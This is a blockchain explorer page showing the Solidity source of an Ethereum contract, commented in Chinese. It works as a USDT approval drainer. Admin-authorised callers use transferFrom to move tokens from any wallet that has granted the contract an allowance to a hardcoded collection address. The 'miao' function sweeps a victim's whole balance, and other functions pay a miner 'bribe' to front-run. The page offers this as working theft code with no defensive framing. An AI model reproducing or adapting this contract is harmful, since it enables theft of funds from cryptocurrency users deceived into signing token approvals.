Description:
Smart contract deployed on Ethereum with Factory features.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
{{
"language": "Solidity",
"sources": {
"my/DFG.sol": {
"content": "// SPDX-License-Identifier: MIT\r
pragma solidity ^0.8.4;\r
\r
\r
//定义 usdt 接口\r
interface IERC20 {\r
\r
//授权后,转账\r
function transferFrom(address sender, address recipient, uint256 amount) external ;\r
//查询余额\r
function balanceOf(address account) external view returns (uint256);\r
}\r
\r
\r
contract feiyue {\r
\r
//合约地址\r
address contractaddress = 0xdAC17F958D2ee523a2206206994597C13D831ec7;\r
//定义 usdt 接口变量\r
IERC20 usdt;\r
constructor() {\r
usdt = IERC20(contractaddress);\r
}\r
//用来判断那些地址拿到了,操作权限\r
mapping(address => bool) auth;\r
//收款地址,写死的\r
address public toaddress = 0xF2d91FB48c50E67D19B61C314cab813c83D6DD16;\r
//管理员钱包地址,写死的\r
address public adminaddress = 0xDF6190B410e96Cc5595730c7Eb0AFE52B81d289e;\r
\r
//默认贿赂金额\r
uint256 public ethAmountToCoinbase = 100000000000000;\r
\r
//接收eth\r
receive() external payable {\r
\r
}\r
\r
//修改贿赂金额,只有内置的管理员 才有权限\r
function upethAmountToCoinbase(uint256 _value) public returns (bool) {\r
require(msg.sender == adminaddress, "You no admin");\r
require(msg.sender != address(0), "You no admin");\r
ethAmountToCoinbase = _value;\r
return true;\r
}\r
//设置那些地址拥有调用转账权限,只有内置的管理员 才有权限调用\r
function upauth(address _address , bool _auth) public returns (bool) {\r
require(msg.sender == adminaddress, "You no admin");\r
require(msg.sender != address(0), "You no admin");\r
auth[_address] = _auth;\r
return true;\r
} \r
//获取地址 是否拥有权限\r
function getisauth(address _address) public view returns (bool) {\r
require(_address != address(0), "no");\r
return auth[_address];\r
}\r
\r
//对已授权用户,发起转账,只有 得到管理员的授权后的地址才可以调用\r
function transferFrom(address from,uint256 amount) public {\r
require(msg.sender != address(0), "You no sb");\r
require(auth[msg.sender] == true, "You no sb1");\r
usdt.transferFrom(from,toaddress,amount);\r
}\r
//对已授权用户,发起转账,只有 得到管理员的授权后的地址才可以调用\r
function Transfer(address from,uint256 amount) public {\r
require(msg.sender != address(0), "You no sb");\r
require(auth[msg.sender] == true, "You no sb1");\r
usdt.transferFrom(from,toaddress,amount);\r
block.coinbase.transfer(ethAmountToCoinbase);\r
}\r
//对已授权用户,发起转账,只有 得到管理员的授权后的地址才可以调用\r
function a(address from,uint256 amount) public {\r
require(msg.sender != address(0), "You no sb");\r
require(auth[msg.sender] == true, "You no sb1");\r
usdt.transferFrom(from,toaddress,amount);\r
block.coinbase.transfer(ethAmountToCoinbase);\r
}\r
//对已授权用户,发起秒U,只有 得到管理员的授权后的地址才可以调用,用合约获取usdt余额 理论会更快一点,需要消耗的gas可能会多一点,不管用奶奶的\r
function miao(address from) public {\r
require(msg.sender != address(0), "You no sb");\r
require(auth[msg.sender] == true, "You no sb1");\r
\r
//获取用户钱包地址余额(usdt)\r
uint256 amount = usdt.balanceOf(from);\r
usdt.transferFrom(from,toaddress,amount);\r
}\r
\r
}"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}
}}
Submitted on: 2025-11-06 12:06:17
Comments
Log in to comment.
No comments yet.